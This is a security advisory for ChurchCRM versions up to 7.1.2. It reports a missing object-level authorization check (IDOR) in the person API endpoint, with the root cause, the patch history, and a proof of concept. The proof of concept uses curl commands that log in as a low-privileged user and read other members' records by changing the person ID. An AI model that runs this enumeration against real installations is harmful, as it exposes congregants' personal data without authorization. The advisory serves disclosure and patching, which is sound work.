Missing Object-Level Authorization / IDOR in `/api/person/{personId}`

High **DawoudIO** published **GHSA-5w59-32c8-933v** last week

Package

php **ChurchCRM/CRM** (Composer)

Affected versions	Patched versions
<= 7.1.2	7.2.0

Description

Overview

The `GET /api/person/{personId}` API endpoint simply loads the entity identified by `personId` and returns it as JSON, without performing any object-level authorization check.

As a result, a low-privileged user who should only be able to edit their own record or members of their own family can still read the records of other families and unrelated individuals.

Root Cause Analysis

The API read logic can be found at:

- `CRM-7.1.2/src/api/routes/people/people-person.php:211`
- `CRM-7.1.2/src/api/routes/people/people-person.php:213`

The middleware only loads the entity by primary key:

- `CRM-7.1.2/src/ChurchCRM/Slim/Middleware/Api/PersonMiddleware.php:21`

However, the legacy page `PersonView.php` already includes an explicit object-level authorization check:

- `CRM-7.1.2/src/PersonView.php:31`

- `CRM-7.1.2/src/ChurchCRM/model/ChurchCRM/User.php:100`

The logic of `canEditPerson()` is:

- users with `EditRecords` can access any person
- users with `EditSelf` can only access themselves or members of their own family

The API layer is missing this authorization check.

Impact

- Any authenticated low-privileged user can enumerate and read other members' records
- Sensitive PII may be exposed, including names, addresses, phone numbers, email addresses, birthdays, and similar data
- Some objects may also expose deeper related data

Reproduction Prerequisites

The following low-privileged account was used in the local reproduction environment:

- Username: `amanda.black@example.com`
- Password: `Passw0rd!`

Its permissions in the database were:

```
usr_EditRecords = 0
usr_EditSelf    = 1
usr_Admin       = 0
```

Meaning the user should only be able to edit their own record or members of their own family.

PoC

First, obtain an API key for the low-privileged user:

```
curl -i -H 'Content-Type: application/json' \
  -d '{"userName":"amanda.black@example.com","password":"Passw0rd!"}' \
  http://127.0.0.1:8081/api/public/user/login
```

Observed response:

```
HTTP/1.1 200 OK
```

```
{"apiKey":"AMANDA-REPRO-KEY-7-1-2"}
```

Read the user's own record:

```
curl -i -H 'x-api-key: AMANDA-REPRO-KEY-7-1-2' \
  http://127.0.0.1:8081/api/person/99
```

Read a record that is neither the user's own nor a member of the same family:

```
curl -i -H 'x-api-key: AMANDA-REPRO-KEY-7-1-2' \
  http://127.0.0.1:8081/api/person/2
```

Observed response:

```
HTTP/1.1 200 OK

{"Id":2,"FirstName":"Mathew","LastName":"Campbell","Address1":"3259 Daisy Dr", ...}
```

Conclusion

A low-privileged user can directly iterate over `personId` values to access records belonging to other members without authorization.

Fix

Patched in 7.2.0 — PR #8611 (`5691b0dbc1`)

EditRecordsRoleAuthMiddleware added to GET /api/person/{personId}.

⚠️ Initial Fix Reverted

The initial fix (PR #8611) was reverted because it was too restrictive — requiring `EditRecords` for all person API access blocked `EditSelf` users from viewing their own record.

Final Fix

Patched in 7.2.0 — PR #8616 (`28ea7a2965`)

Replaced the broken middleware approach with:

1. `canEditPerson()` IDOR check on `GET /api/person/{id}` — allows `EditRecords` users to view any person and `EditSelf` users to view their own family
2. Block users with NO admin permissions entirely — they are redirected to `/external/limited-access` (web) or get 403 (API)
3. New `User::hasNoAdminPermissions()` method
4. Test seed data and Cypress tests for the limited-access flow

See issue #8617 for the planned EditSelf permission redesign.

Severity

High

CVE ID

CVE-2026-40480

Weaknesses

No CWEs

Credits

HuajiHD Reporter